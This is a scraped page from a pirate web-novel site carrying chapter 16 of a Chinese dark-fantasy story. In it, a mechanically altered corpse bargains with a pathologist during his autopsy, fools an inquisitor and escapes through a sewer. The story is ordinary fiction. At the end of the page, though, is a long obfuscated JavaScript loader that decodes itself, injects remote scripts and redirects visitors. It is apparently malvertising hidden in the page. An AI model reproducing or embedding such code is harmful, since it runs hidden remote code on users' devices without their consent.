首页
第十六章:蛛网纹路的哀鸣
返回
关灯 护眼:关 字号:小

第十六章:蛛网纹路的哀鸣

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第十六章:蛛网纹路的哀鸣(第1/2页)
    第七号标本
    第一节:解剖台上的博弈
    解剖刀的刃口切开了皮肉。
    伤口处渗出灰白色的黏稠液体,顺着惨白的胸膛滑落,滴在冰冷的合金台面上。
    没有痛觉。
    陆演体内的影徒权能运转着,胸腔内的创伤被转化为结构信息,在脑海中平稳流转。
    “白首席,你把我想得太复杂了。”
    陆演平躺在冰冷的解剖台上,目光直视着白芷近在咫尺的灰白瞳孔。
    “如果我是教团的人,现在巡夜司的内务处已经收到了你的骨骼病理切片;如果我是枢密院的暗桩,推门进来的就不是我,而是一整支全副武装的执纪宪兵队。”
    白芷的手指扣在刀柄上,刀尖向皮肉深处推进了一分。
    “别跟我玩文字游戏。”
    白芷的呼吸有些发沉,眼底透着凶意。
    “在这个房间里,我是主宰。只要我拉响中央净化法阵,三秒钟之内,这间屋子里的所有有机物都会被分解。哪怕你是神职者,也别想活着走出去。”
    “同归于尽?”
    陆演扯动嘴角。由于胸腔完全打开,他的声音在空旷的室内带起低沉的回响。
    “一个费尽心机活到今天、每晚忍受骨刺钻心之痛也要继续钻研医术的人,会舍得和一具来历不明的尸体同归于尽?”
    白芷的面部肌肉抽动了一下。
    “我不是任何人的棋子。”
    陆演止住笑容,语气平直。
    “我是个被挖了心的死人,而你是个即将被自己血肉吃掉的活人。死人,最懂怎么让活人继续活着。”
    陆演胸腔最深处,几枚骨质齿轮加速转动。
    咔哒,咔哒。
    机械传动声在封闭的室内回荡。
    自那片空腔深处,一缕灰雾升起。
    灰雾穿过陆演敞开的肋骨,顺着空气流动,拂过白芷握刀的右手腕。
    白芷试图收手后撤,动作却停住了。
    灰雾触碰到她手腕内侧紫黑色的蛛网纹路,骨头深处的剧痛退了下去。
    那些试图刺破皮肉的畸变骨芽止住了生长,缓缓缩回骨髓。
    整整五年,白芷第一次感受到右臂完全停止了钝痛。
    没有剧痛,没有痉挛,只有清凉感在骨节间蔓延。
    “这……这是神职力量?不对,这不是任何已知的正统序列……”
    白芷眼中的防备转为惊异。
    她握着解剖刀的手垂了下来,后背贴在操作台边,呼吸急促。
    解剖台上的陆演脸色苍白,强行催动尚未成熟的影徒权能调动识海灰雾,令他的额角隐隐作痛。
    识海中,浮动的灰白光幕上,满意度数值在38点停滞,随后跳动到了41点。
    解剖室合金大门上的通讯器传出蜂鸣。
    杂音散去,韩蒙沉重、干硬的声音自扬声器中传出:
    “白芷,活体解剖完成没有?枢密院要调阅第七号标本的最终报告。”
    第二节:停滞的倒计时
    通讯器的红灯在门板上方闪烁。
    白芷站在原地,低头看着自己的右手手腕。
    原本突起如棘刺的腕骨已平复大半,皮下那层代表骨骼畸变的青紫色斑块褪成了淡淡的灰痕。这种压制效果比巡夜司配发的“镇魂剂”还要彻底。
    “白首席?”
    门外的通讯器再次传来韩蒙的声音,伴随着皮靴踏在地面的沉闷声响。
    “他在催促。”陆演躺在金属台上,肋骨向两侧撑开,露出内部空洞的胸腔与缓缓咬合的齿轮,“你还有二十秒整理托盘。”
    白芷收回视线,反手按下了操作台下方的隔音阀。
    “你究竟是什么东西?”白芷压低声音,解剖刀在指间转了半圈,“机械教廷的义体改造者没有你这种雾气,旧日遗民的血肉更不可能安抚我的畸变。”
    “我是你唯一的解药。”
    陆演抬起右手,食指轻轻叩了叩自己的金属肋骨,发出清脆的敲击声。
    “回答韩蒙,用你的专业术语应付他。否则三分钟后,枢密院的宪兵队会用破门重锤砸开这扇防爆门。到时候,你不仅保不住我这具标本,你自己手腕上的秘密也会被制式光谱仪扫得一清二楚。”
    白芷咬紧牙关,走到金属门边的通讯面板前,按下了通话键。
    “韩长官,第七号标本的胸腔结构极为罕见,内脏器官已被一种未知的高密度活性机械骨骼替代。我正在进行第二阶段的神经突触剥离,强行中断可能导致核心生物质自毁。”
    通讯器那头沉默了数秒。
    沉重而规律的脚步声在门外停下。
    “枢密院的观察员只给半个小时。”韩蒙的声音平缓,“半小时后,无论解剖进程如何,我都会带防化小队进去接收核心部件。”
    “明白。”
    通话切断。
    白芷转过身,快步走回解剖台前。她扯下手套扔进废料桶,换上一副全新的高分子防腐手套,从器械柜深处取出一支暗蓝色的试管。
    “韩蒙不是普通的巡夜司执事,他是‘律法序列’的第五阶‘审判官’。”白芷将试管内的液体吸入注射器,“他的感知可以穿透三米厚的铅板。你刚才释放的灰雾如果残留在这间屋子里,他推门的瞬间就能判定你具有神职污染。”
    “那你就该加快速度。”陆演看着她手中的针管,“这是什么?”
    “神经阻断剂配合荧光染色液。”白芷将针尖刺入陆演胸腔周边的活性组织,“如果你的内脏全部消失,我必须在你的体腔内制造出大面积组织坏死与自溶的假象,才能写出一份合格的病理报告递交给枢密院。”
    刺鼻的药水注入体内,陆演眼前的灰白光幕跳动了一下。
    检测到外部化学物质侵入,异化肌体处于被动伪装状态。
    当前环境危险程度:高。
    观众满意度:45点。
    第三节:空腔内的秘密
    冰冷的药剂在空腔内蔓延,陆演感到自己的感知被一层层剥离。
    他注视着白芷熟练地操作缝合针与止血钳。
    这个女人的手法极其精准,每一针都避开了齿轮啮合的关键节点,却精准地将破损的皮肉拉拢,制造出被精密器械解剖后的缝合创口。
    “你身上的畸变,来源于三年前的‘黑潮事件’吧。”陆演忽然开口。
    白芷手中的缝合线顿了一下,随即继续穿针引线:“巡夜司的档案里没有这段记录,所有当事人的卷宗都被枢密院封存了。”
    “枢密院封存档案,是因为他们无法解决污染。”陆演看着头顶刺眼的无影灯,“你的尺骨正在逐步结晶化,等到结晶蔓延到肩胛骨,你的整条右臂就会化为一柄不受控制的骨刃,届时执纪宪兵队会以‘畸变失控’为由,在清理室内将你彻底净化。”
    白芷手腕用力,拉紧了最后一根缝合线,打了一个死结。
    “你既然知道得这么清楚,就该明白我刚才为什么想杀你。”白芷冷声道,“知道这个秘密的人,除了枢密院的三个主教,其余的全都在城外的万人坑里。”
    “但他们救不了你,而我可以。”
    陆演胸口的皮肉已被粗糙地缝合在一起,细密的黑色缝线如同一条巨大的蜈蚣横亘在他的胸膛上。
    他单手撑住解剖台,缓缓坐直了身子。
    体内的骨质齿轮发出规律的轻响,随着他的动作,一层极薄的灰雾再次从皮肤表面泛起,将残留的药水味与机械润滑油的气味彻底吞噬。
    白芷后退半步,警惕地看着他:“你刚才释放的灰雾到底是什么?它不属于三大教会的任何一种赐福,甚至……它在吸收我体内的畸变因子。”
    “它是一种中和机制。”
    陆演翻身下台,赤足踩在冰冷的地砖上。
    他的身形略显单薄,但每一步落下都异常沉稳。
    “三大教会将神职力量归结为神明的恩赐,却隐瞒了神职力量对人体血肉的侵蚀本质。你的骨骼异化,不过是长期接触‘律法序列’圣物所导致的排异反应。只要抽离其中的神性意志,剩下的畸变能量就是无害的基质。”
    白芷的目光变幻不定。
    作为巡夜司的首席解剖医官,她研究过无数具畸变者的尸体,也曾试图用科学手段解释神职者的畸变现象,但得出的所有结论都被枢密院列为禁忌。
    陆演刚才展现出的能力,彻底颠覆了她以往的认知。
    “我凭什么相信你不会在下次治疗时要了我的命?”白芷问。
    “你别无选择。”
    陆演走到门旁,拿起挂在衣架上的黑色风衣披在身上,遮挡住胸前狰狞的缝合线。
    “距离韩蒙破门还有十五分钟。写好你的报告,然后按照我说的做。”
    第四节:走廊上的阴影
    解剖室的排气扇发出低沉的轰鸣,将室内的血腥味一点点抽出。
    白芷坐在写字台前,钢笔在泛黄的特种纸上飞速划过。
    “……第七号标本确认死亡。其体腔内存在大量未知机械共生体,未发现高阶异化核心,神经系统已出现大面积坏死。建议转交枢密院底层废料库进行无害化焚毁。”
    白芷盖上印章,将报告塞入特制的铅封袋中。
    咔哒。
    解剖室顶部的安全锁解除,厚重的合金门缓缓向两侧滑开。
    门外是一条幽暗潮湿的长廊,水泥墙壁上长满了暗绿色的青苔,昏黄的防爆灯在头顶闪烁。
    韩蒙站在门外,身披一袭深黑色的巡夜司长风衣,腰间挂着一柄沉重的纯银配枪与一副手铐。
    他的身形高大,半边脸颊隐没在阴影中,露出的右眼呈现出一种死寂的铁灰色。
    在他身后,两名全副武装的执纪宪兵手持高压***与封印箱,面无表情地立于阴影之中。
    “报告。”白芷将铅封袋递了过去。
    韩蒙抬手接过,目光越过白芷的肩膀,投向解剖室内。
    陆演正坐在角落的一张铁椅上,低垂着头,身上裹着宽大的黑风衣,脸色惨白,呼吸微弱,如同一具勉强拼凑起来的活尸。
    “他还能动?”韩蒙的声音中没有丝毫起伏。
    “自主神经反射。”白芷面色如常,“体内的机械装置在维持最低限度的能量循环,预计十二小时内会彻底停止运转。”
    韩蒙拆开铅封,翻阅着薄薄的两页报告。
    他的视线在白芷的右手上停留了半秒。
    (本章未完,请点击下一页继续阅读)第十六章:蛛网纹路的哀鸣(第2/2页)
    “白首席,你的手今天很稳。”韩蒙忽然开口,“上周看你写尸检报告时,字迹还在发抖。”
    白芷的心跳漏了一拍,神色未变:“换了新的镇静剂配方,效果不错。”
    韩蒙收起报告,将铅封袋递给身后的宪兵。
    他迈开脚步,皮靴踩在解剖室的地砖上,发出清脆的撞击声。
    韩蒙走到陆演面前,居高临下地俯视着这个来历不明的年轻人。
    一股沉重的压迫感自韩蒙体内散发开来,空气似乎在这一刻变得凝重。
    “陆演。”
    韩蒙开口,声音低沉。
    “三天前从黑水河下游捞上来的无名尸体,没有身份铭牌,没有教会烙印,体内却藏着机械教会的二级违禁义体。”
    韩蒙缓缓弯下腰,死死盯着陆演的眼睛。
    “你醒得太快了。普通人在那种程度的改造下,大脑早就烧成了一团浆糊。”
    陆演抬起头,眼神涣散,瞳孔中没有焦距,只是发出了一声微弱而沙哑的呢喃:
    “火……到处都是火……”
    这是典型的意识崩溃后的胡言乱语。
    韩蒙伸手按住陆演的肩膀,一股冰冷的探测波动自他的掌心涌出,瞬间扫过陆演的四肢百骸。
    在韩蒙的感知中,陆演的胸腔内是一团混乱的死寂,没有神职波动的回响,只有一些残破的金属构件在依靠微弱的残存生物电机械运转。
    这确实只是一具濒临彻底崩溃的躯壳。
    韩蒙收回了手。
    “枢密院不需要这种残次品。”韩蒙转过身,对身后的宪兵招了招手,“装箱,送到下城区的‘焚化炉’去。”
    “等等。”白芷忽然出声。
    第五节:博弈与妥协
    韩蒙停下脚步,侧头看向白芷:“白首席还有异议?”
    “下城区的焚化炉温度不够,无法彻底熔毁高密度机械合金。”白芷面不改色地说道,“这种级别的违禁义体如果流入黑市,会被底层的老鼠重新拼装。按照巡夜司条例,残存机械构件的标本应当由医务处进行生化酸洗,彻底溶解后再行废弃。”
    韩蒙看着白芷。
    空气陷入了短暂的安静,只有排气扇还在转动。
    两名执纪宪兵立在门外,手中的武器低垂。
    “白首席对这具标本很感兴趣。”韩蒙道。
    “我对一切违禁改装都感兴趣。”白芷迎上韩蒙的目光,“这有助于我完善针对机械神甫的神经毒素配方。韩长官如果急着交差,可以先把报告送去枢密院,酸洗流程需要六个小时,明早我会把溶解后的残渣清单递交内务处。”
    韩蒙的目光在白芷和陆演之间游移了片刻。
    作为巡夜司的审判官,他本能地察觉到了一丝异样,但白芷给出的理由完全符合巡夜司的章程,而且报告上的签字与盖章真实有效。
    最重要的是,他刚才的亲手探测确认了陆演体内没有任何活着的神职痕迹。
    在黑石城,没有神职力量的普通人,即使身体被改造成铁块,也不过是随手可以碾碎的蝼蚁。
    “明早八点前,我要在内务处的销毁名册上看到这具标本的编号。”
    韩蒙冷漠地丢下一句话,转身走向长廊。
    “收队。”
    两名宪兵立刻合上面罩,跟随韩蒙大步离去。沉重的脚步声在长廊中逐渐远去,最终消失在重型防爆升降梯的轰鸣声中。
    直到升降梯启动的声音彻底停止,解剖室内的白芷才长长地吐出一口气。
    她的后背已被冷汗浸透,紧绷的神经骤然放松,令她的双腿微微发软。
    “他怀疑了。”白芷反锁上合金大门,快步走回操作台前,“韩蒙的感知非常敏锐,他刚才虽然没有发现异常,但明早八点如果看不到酸洗证明,他会直接带宪兵队封锁整个医务区。”
    陆演从铁椅上站起身,原本涣散的眼神重新恢复了清明。
    “六个小时,足够做很多事了。”
    陆演解开风衣,看着胸口那些黑色的缝合线。
    识海之中,灰白色的光幕再次刷新。
    成功规避‘律法序列’五阶审判官的正面审视。
    剧情关键节点已突破。
    当前满意度:52点。
    已解锁权限:中性灰雾初级具象化。
    脑海中的刺痛感渐渐消退,取而代之的是一种沉稳的掌控感。
    陆演看向白芷:“这间医务所下面,是不是连着通往下城区的排污管道?”
    白芷愣了一下:“你怎么知道?”
    “每一处巡夜司的解剖所,都会建立在重度污染排污口的上方,方便处理那些无法见光的实验废料。”
    陆演走向解剖台后方的一块方形地砖,用脚尖轻轻点了点。
    “打开它。”
    第六节:夜幕下的序曲
    白芷走上前,掀开操作台底部的暗格,输入了一串复杂的机械密码。
    伴随着一阵沉闷的气压释放声,房间角落的方形地砖缓缓向下滑动,露出了一条向下延伸的逼仄竖井。
    潮湿、腥臭与刺鼻的化学药剂气味扑面而来。
    竖井深处,隐约能听到湍急的水流声。
    “这条管道直通黑水河的下流废料区。”白芷低声说道,“但里面布满了枢密院设立的水下声呐和拦截电网,普通人跳下去,几秒钟之内就会被绞成碎片。”
    “对我来说,那不是问题。”
    陆演走到竖井边缘,低头看着那片漆黑的深渊。
    他转过身,看向白芷。
    “今晚十二点,去第三街区的‘老骨头酒馆’。”陆演平淡地说道,“带上你所能找到的所有关于‘黑潮事件’的原始卷宗。”
    白芷皱起眉头:“我凭什么还要听你的安排?你现在离开这里,我们之间就已经两清了。”
    “你的异化并没有根除。”
    陆演抬起右手,食指尖端再次凝聚出一缕微弱的灰雾。
    “我刚才只是压制了你右臂表层的骨芽,三天之内,如果得不到第二阶段的灰雾调理,压制解除后的反弹会比之前剧烈数倍。到时候,你的整条脊椎都会开始结晶化。”
    白芷脸色一变,下意识地摸了摸自己的后颈。
    在那里,皮下隐隐能摸到一个米粒大小的坚硬凸起。
    “你算计我?”白芷眼中闪过一丝怒意。
    “这叫合作的基础。”
    陆演收回手指,灰雾消散在空气中。
    “在这个鬼地方,单打独斗的人活不过三天。你想活下去,摆脱变成怪物的命运;而我需要一个熟悉巡夜司和枢密院内部运作的帮手。”
    陆演不再多言,单手扶住竖井边缘,纵身跃入黑暗之中。
    风声在耳边呼啸。
    白芷冲到井口边,向下望去。
    在即将坠入湍急污水的瞬间,陆演周身猛然散开一团浓郁的灰雾,灰雾如同降落伞般托住了他的身躯,随后悄无声息地滑入水中,甚至没有激起太大的水花。
    黑水河的污浊水流瞬间将那道黑色的身影吞没。
    几秒钟后,水面上泛起一阵微弱的波纹,随后彻底恢复了死寂。
    白芷站在井口边,沉默良久。
    她抬起自己的右手,在微弱的灯光下翻转查看。
    那条曾经折磨了她整整五年的紫黑色蛛网纹路,此刻确实已经暗淡了大半。
    “中性灰雾……没有神明意志的权能……”
    白芷喃喃自语,随后猛然回过神来。
    她快步走回操作台前,按下了合拢地砖的开关,随后抓起桌上的酸性生化药剂,一把泼在了空无一人的解剖台上。
    滋滋——
    刺鼻的白烟升腾而起,强酸疯狂腐蚀着金属台面,发出令人牙酸的声响。
    做完这一切,白芷脱下染血的外套,从抽屉深处取出一柄小巧的纯银****,仔细地压入六发淬毒水银弹,藏进了风衣内侧的暗袋。
    她整理了一下凌乱的头发,推开解剖室的大门,迈步走入了阴冷的夜色之中。
    第七节:黑水河底的潜行者
    冰冷、黏稠的河水包裹着陆演的身躯。
    黑水河是整座黑石城的排污大动脉,上城区工厂排出的重金属废液、医务所倾倒的生化残渣,以及贫民窟流淌的污血,全部汇聚在这一条幽暗的地下水道中。
    这里几乎没有任何光线,水压沉重得足以压垮普通人的胸腔。
    然而,对于胸腔已被改造的陆演而言,这种环境反而成了最好的掩护。
    他闭上双眼,体内的影徒神职在黑暗中全速运转。
    灰色的雾气从他的皮肤毛孔中渗出,在身体周围形成了一层薄薄的流体护罩,将刺鼻的毒素与污秽彻底隔绝在外。
    脑海中,那面灰白色的光幕再次浮现。
    当前环境:黑水河主排污干道。
    神职契合度上升:1.2%。
    正在解析底层水下防御网络……
    检测到前方三十米处存在低频声呐探测仪,已自动释放中性波动进行声波折射。
    陆演在水下游动,身体如同一道毫无生机的阴影,轻巧地穿过了布满铁丝网与高压电极的水下闸门。
    水下的感应器毫无反应,红色的指示灯机械地闪烁着,将他判定为一截随波逐流的枯木。
    十分钟后。
    陆演破水而出。
    这里是黑石城最底层的边缘废墟——下城区的第三排水口。
    腐烂的木桩、堆积如山的工业废料,以及远处隐隐传来的蒸汽机轰鸣声,构成了这片被光明遗忘的法外之地。
    陆演爬上布满青苔的石岸,身上的黑色风衣滴落着黏稠的污水。
    他抬起头,看向远处天空中那一座座高耸入云的黑色尖塔。
    那是上城区,三大教会的神殿与枢密院的裁判所巍然耸立,巨大的白色探照灯在黑夜中扫过云层,如同一只只巨大的眼睛,冷漠地审视着下方的整座城市。
    陆演抬手按住自己的胸膛。
    金属齿轮在肋骨间平稳地咬合,发出规律的微鸣。
    “满意度52点。”
    陆演自语,嘴角微微扬起一抹冰冷的弧度。
    “第一幕戏剧结束了。”
    他转过身,将风衣的兜帽拉低,整个人彻底隐没在下城区错综复杂的阴暗小巷之中。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o50hvng3np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/On0hX2ps2J/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"On0hX2ps2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY8On0hX2ps2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();